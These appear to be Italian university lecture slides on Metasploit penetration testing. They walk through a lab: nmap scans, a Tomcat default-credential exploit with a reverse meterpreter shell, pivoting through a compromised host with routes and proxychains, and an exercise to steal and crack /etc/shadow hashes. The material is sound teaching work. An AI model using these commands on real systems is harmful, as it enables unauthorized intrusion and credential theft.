Penetration Testing. Metasploit



Documenti analoghi
Hacker Frameworks & Risorse utili HACKER FRAMEWORKS

Rootkit. Dott. Ing. Igino Corona. Corso Sicurezza Informatica 2014/2015. igino.corona (at) diee.unica.it. Pattern Recognition and Applications Lab

1 GARR Tutorial sulla sicurezza informatica. R. Cecchini e O. Pinazza Roma, /11/2010

Setup dell ambiente virtuale

Sommario. Oggetto: Istruzioni configurazione client VPN SSL per piattaforma Mac OSX Data: 25/01/2016 Versione: 1.0

ULISSE LAB. CTF: How to improve your pentesting skills with HackTheBox

Installazione e Configurazione del servizio DHCP. Orazio Battaglia

Se per esempio inserisco show version ecco il risultato. Con il comando enable entro in privilege mode.

Guida introduttiva su Eclipse. Ing. Marco Dell'Unto

Network Address Translation

Bucare WindowsXP SP2 con Metasploit

02/10/2015 SISTEMI E RETI. Router Cisco. Parte 2 - IOS. A cura dell Ing. Claudio Traini. router. sottoreti. terminali

HACKING LAB. con ProxMox e Metasploitable. Andrea Draghetti - 23 Maggio FabLab Bassa Romagna

Laboratorio di. Reti Informatiche. Corso di Laurea Triennale in Ingegneria Informatica A.A. 2016/2017. Ing. Niccolò Iardella

Protocollo ARP IP forwarding

Sistema operativo. Avere un architettura multi-core è un vantaggio

Per connettere la MWDG-ETH a internet o per utilizzarla attraverso la rete LAN eseguire le seguenti operazioni:

Laboratorio di. Reti Informatiche. Corso di Laurea Triennale in Ingegneria Informatica A.A. 2017/2018. Ing. Carlo Vallati

Antonio Cianfrani. L emulatore Packet Tracer A.A. 2015/2016

AI 464 ETH NEW Gestione della scheda Eureka IP Interface (AI4164ETH NEW) Ottobre 2018

Moduli Bluetooth 03 - connessione seriale via BT

Reti di Comunicazione e Internet

NAT: Network Address Translation

Relazione su METASPLOIT FRAMEWORK

Seconda Prova in itinere Esempio

Proteggere la rete I FIREWALL (seconda parte)


Area FA-Teleassistenza Specifica tecnica STM33 Cliente: Mitsubishi

INFOCOM Dept. Il routing

Internet Protocol Versione 4: instradamento e routing. Aspetti di forwarding e routing del protocollo IPv4

Scritta da Andrea Cappa COME INSTALLARE LINUX IN UN HOST VIRTUALE

Antonio Cianfrani. Standard Access Control List (ACL)

Introduzione ad hping

Routing IP A.A. 2006/2007. Walter Cerroni. Routing gerarchico in Internet

4.2 Collegamento con Mozilla Firefox o Google Chrome 5 Tool di configurazione rapida (Config Tool) Presentazione 5.2 Ricerca / Connessione

Seconda Prova in itinere Esempio

Ingegneria del Software 1: Eclipse

Guida Tecnica. Configurazione del Router ZyXEL P-660H-D1 per la visione da remoto di alcuni DVR Brahms, anche con IP dinamico.

Antonio Cianfrani. Dynamic Host Configuration Protocol (DHCP)

Cloud Hik-Connect. Guida rapida per registrare un dispositivo su Hik-Connect

Cosa è importante: pom.xml Goal Plug-in Repository

Penetration Testing Aziendale con BeEF

Antonio Cianfrani. Configurazione di un Router CISCO A.A. 2015/2016

BOLLETTINO DI SICUREZZA INFORMATICA

Connessione con MySQL

Configurazione firewall Cisco ASA5505

Difesa perimetrale di una rete

mbnetfix NHF100 La seguente guida ha come scopo di fornire le indicazioni per una configurazione di base, per

Software per l individuazione dei malfunzionamenti di rete

IP forwarding Firewall e NAT

Sommario ... vi Sommario

Metasploit Framework Version 2.2 Corso Crash per Utenti

Ethical Hacking Basic CONTENUTI

Lezione 6: Dynamic Host Configuration Protocol

Il programma di gestione per il mondo della traduzione

Esame Laboratorio di Sistemi Operativi Cognome Nome Mat.

Antonio Cianfrani. Access Control List (ACL)

Vulnerability Assessment Installazione e configurazione di OpenVAS

Atlantis Land Technical Resources Product: A02-RA3/ A02-RA3+ / A02-WRA4-54G /A02-RA440 Subject: True DMZ Language: Italiano

IN CEILING ACCESS POINT 300MBPS WL-ICNAP48-052

Appello 13 Febbraio Tempo complessivo a disposizione per lo svolgimento: 2h Usare lo spazio dopo ogni Esercizio/Quesito per la risposta.

Wireshark (packet sniffer)

SIMULAZIONE DI UN PENETRATION TEST (PENETRATION TESTING SIMULATION)

API Socket di Berkeley

Configurazione delle interfacce di rete

Cisco Internetwork Operating System. Introduzione

1 Concetti di base... 3

Transcript:

Penetration Testing Metasploit Dipartimento di Informatica Via salaria 113 17 Novembre 2011 Dott. Antonio Villani Dott. Nino Verde 1

Riferimenti http://www.offensive-security.com/metasploitunleashed/introduction Metasploit Unleashed - pdf scaricabile da: http://diyhpl.us/~bryan/papers2/security/mets ploit%20unleashed.pdf 2

Metasploit Framework Il framework non e' un tool finalizzato alla realizzazione di attacchi per hacker ma un'interfaccia generale per testare e scrivere exploits. Un exploit è un codice che, sfruttando un bug o una vulnerabilità, porta all'acquisizione di privilegi o all'accesso del sistema cui viene applicato. 3

Metasploit Framework Piattaforma Open Source avanzata usata per sviluppare, testare e usare exploit code Disponibile per ogni sistema operativo Inizialmente sviluppato in Perl ora sviluppato in Ruby Architettura modulare, scriptabile... Moduli aggiuntivi Non richiede conoscenza di bug o scrittura di shellcode 4

Metasploit Framework Overview Metasploit permette di Ricercare nuove tecniche d'attacco Analizzare i metodi degli attaccanti Test di IDS/IPS Penetration Test 5

Exploits Piattaforme attaccabili: linux / macosx / solaris / windows / etc Exploits mirati alle applicazioni (Browsers, backup, ftp, etc ) Exploits remoti, ma privilege escalation possibile con meterpreter. Exploits organizzati attraverso path: /piattaforma/applicaozione/exploit (es: /windows/browser/ms06_001_wmf_setabortproc) 6

Metaexploits: evasione controlli IDS Codifica: spesso cambiare il payload di un exploit ne fa cambiare la signature NOP no operation Es: plugin ips_filter 7

Payload Il payload è il codice o il comando che vogliamo venga eseguito sull'host target Il Payload è spesso definito come shellcode. La definizione è imprecisa dato che un attacco non esegue necessariamente una shell, es: creazione nuovo utente, nuovo processo di controllo, rootkit, apertura socket di rete... 8

Interfacce Metasploit Framework Msfconsole: Console Interattiva Msfcli: linea di comando Msfpayload: permette di creare payload eseguibile Msfweb: Because everything has to have a web interface msfwx GUI: Graphical User Interfaces Msfapi: (in sviluppo) piattaforma di sviluppo modulare 9

Vediamolo in azione 10

Configurazione di Rete 11

Per iniziare... Userete putty (dalla vostra macchina windows) per connettervi via ssh alle macchina Kali User: root PSW: toor Cerchiamo di capire quanti host attivi ci sono sulla rete: $nmap 192.168.10.0/24 -n Per prima cosa faremo insieme una scansione delle porte aperte sulla prima macchina target $nmap 192.168.10.241 -n $sudo nmap -ss 192.168.10.241 -n SYN scan 12

Scansione delle vulnerabilità Dal risultato di nmap si capisce che ci sono moltissime porte aperte su questo host. Alcune anche anche sospette (IRC,telnet,etc.) Diamo un'occhiata con Nessus o OpenVas a possibili vulnerabilità Tra le tante vulnerabilità sembra che Tomcat abbia password di default, e metasploit ha un exploit per tale vulnerabilità che ci darà accesso da amministratore alla macchina Cercate gli exploit per tomcat e controllate le informazioni fornite dal framework metasploit (usate info o show options) Quale fa al caso nostro? 13

Usiamo ora Metasploit $msfconsole avvierà la console di metasploit Comandi utili: search VAR per eseguire una ricerca tra i moduli di metasploit use VAR per usare un particolare modulo. I moduli sono organizzati in una gerarchia ben definita info mostra delle informazioni sul modulo in uso show options mostra le opzioni da settare set VAR per impostare il valore di una variabile set payload VAR per impostare il payload Exploit lanciare l'exploit 14

Payload Ci sono tanti possibili payload. Ogni exploit ne supporta alcuni. Il payload va settato dopo aver scelto l'exploit da utilizzare. Meterpreter è uno dei payload più utili: È sostanzialmente una shell avanzata Diverse modalità di connessione: Bind tcp Reverse tcp Reverse http, etc.. 15

Exploit Tomcat on the first machine msf> use exploit/multi/http/tomcat_mgr_deploy SETTATE LE VARIE OPZIONI COME MOSTRATO DI SOTTO msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST 192.168.2.123 yes The target address RPORT 8180 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.229 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic LANCIATE L'EXPLOIT msf exploit(tomcat_mgr_deploy) > exploit

Getting the meterpreter session msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse handler on 192.168.2.229:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6471 bytes as UA99glu9ybDXRwb7YtZ4.war... [*] Executing /UA99glu9ybDXRwb7YtZ4/Zvuq4YcK2m.jsp... [*] Undeploying UA99glu9ybDXRwb7YtZ4... [*] Sending stage (30355 bytes) to 192.168.2.123 [*] Meterpreter session 6 opened (192.168.2.229:4444 -> 192.168.2.123:47873) at 2014-09-16 16:57:50-0400 meterpreter >

Check configuration rpreter > ifconfig Interface 1 ============ Name : lo - lo Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : :: Interface 2 ============ Name : eth1 - eth1 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.255.128 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fe9b:e8d0 IPv6 Netmask : :: Interface 3 ============ Name : eth0 - eth0 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.2.123 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fe9b:e8c6 IPv6 Netmask : :: Meterpreter > Background session 6? [y/n] msf exploit(tomcat_mgr_deploy) >

Considerazioni Sembra che l'host ha effettivamente un altra scheda di rete configurata con indirizzo IP appartenente ad un'altra sottorete Vogliamo allora fare una scansione in quella sottorete Faremo pivoting attraverso la macchina già compromessa. Per prima cosa dobbiamo aggiungere una rotta...

Configurazione di Rete postexploitation 192.168.255.128 20

Alcuni comandi utili Prima di aggiungere una rotta impariamo ad usare le sessioni meterpreter Per mandare in background una sessione meterpreter usare il comando background Da msfconsole, il comando sessions vi resituisce una lista delle sessioni in background attive Vedere sessions -h per help Per ritornare ad una sessione in background usare: sessione -i NUMEROSESSIONE

Il comando route Il comando route permette di aggiungere delle rotte alla tabella di routing usata da metasploit. Con questo comando possiamo raggiungere sottoreti visibili soltanto da altri host che abbiamo precedentemente attaccato Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local.

Aggiungere una rotta verso la rete interna Una volta che la sessione meterpreter è in background possiamo aggiungere la nuova rotta. msf exploit(tomcat_mgr_deploy) > route add 192.168.255.0 255.255.255.0 6 [*] Route added msf exploit(tomcat_mgr_deploy) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.255.0 255.255.255.0 Session 6

Scansione della rete interna (1/2) msf exploit(tomcat_mgr_deploy) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host PORTS 1-500 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 192.168.255.129 yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds

Scansione della rete interna (2/2) msf auxiliary(tcp) > run [*] 192.168.255.129:25 - TCP OPEN [*] 192.168.255.129:21 - TCP OPEN [*] 192.168.255.129:22 - TCP OPEN [*] 192.168.255.129:23 - TCP OPEN [*] 192.168.255.129:53 - TCP OPEN [*] 192.168.255.129:80 - TCP OPEN [*] 192.168.255.129:111 - TCP OPEN [*] 192.168.255.129:139 - TCP OPEN [*] 192.168.255.129:445 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tcp) >

Configurare un proxy per raggiungere la rete interna da altre applicazioni Ora che abbiamo una rotta verso il target configuriamo un proxy che può essere usato da altre applicazioni diverse da meterpreter Metasploit ha un modulo che ci permette di fare ciò: auxiliary/server/socks4a Questo modulo permette di creare un proxy che utilizza la funzionalità di routing interna a Metasploit per redirigere le connessioni.

auxiliary/server/socks4a msf auxiliary(tcp) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) >

Proxychains Ora avremo un proxy in ascolto su localhost:1080 Dobbiamo configurare il tool che redirigerà verso tale proxy tutto il traffico: proxychains Modifichiamo /etc/proxychains.conf editando l'ultima riga, che diventerà: Socks4 127.0.0.1 1080 root@kali:~# proxychains nmap -st -n -PN 192.168.255.129 L'opzione -PN evita l'utilizzo di pacchetti UDP non supportati da proxychain

Proviamo ad usare altri servizi root@kali:~# proxychains ssh msfadmin@192.168.255.129 ProxyChains-3.1 (http://proxychains.sf.net) S-chain -<>-127.0.0.1:1080-<><>- 192.168.255.129:22-<><>-OK msfadmin@192.168.255.129's password:

Esercizio Continuare l'exploitation della seconda macchina Fare attenzione al payload di meterpreter utilizzato Spiegare perché java/meterpreter/reverse_tcp non può essere utilizzato Ci sono altri possibili target?

Esercizio PenTest Mandate una mail a verde@di.uniroma1.it per ricevere le istruzioni ed i file necessari alla configurazione di una rete VPN Una volta stabilita la connessione con la VPN otterrete un indirizzo nella sottorete 192.168.199.0/24 Il vostro primo target è la macchina 192.168.199.6 Una volta compromesso quel target dovrete continuare il lavoro di post-exploitation e trovare altri host vulnerabili Obiettivo: recuperare il file /etc/passwd e /etc/shadow di tutte le macchine compromesse e provare a crackare le password

Regole Non barate... ci possiamo accorgere di come siete arrivati alla soluzione Non modificate le impostazioni di rete delle macchine compromesse (interfacce, indirizzi ip, etc.) Appena compromessa una qualsiasi macchina mandate una mail a verde@di.uniroma1.it Avrete tempo fino al 20 dicembre per terminare l'esercizio Entro quella data dovrete redigere un report delle attività svolte e delle vulnerabilità trovate ed exploitate Inserite quanti più dettagli possibili nel report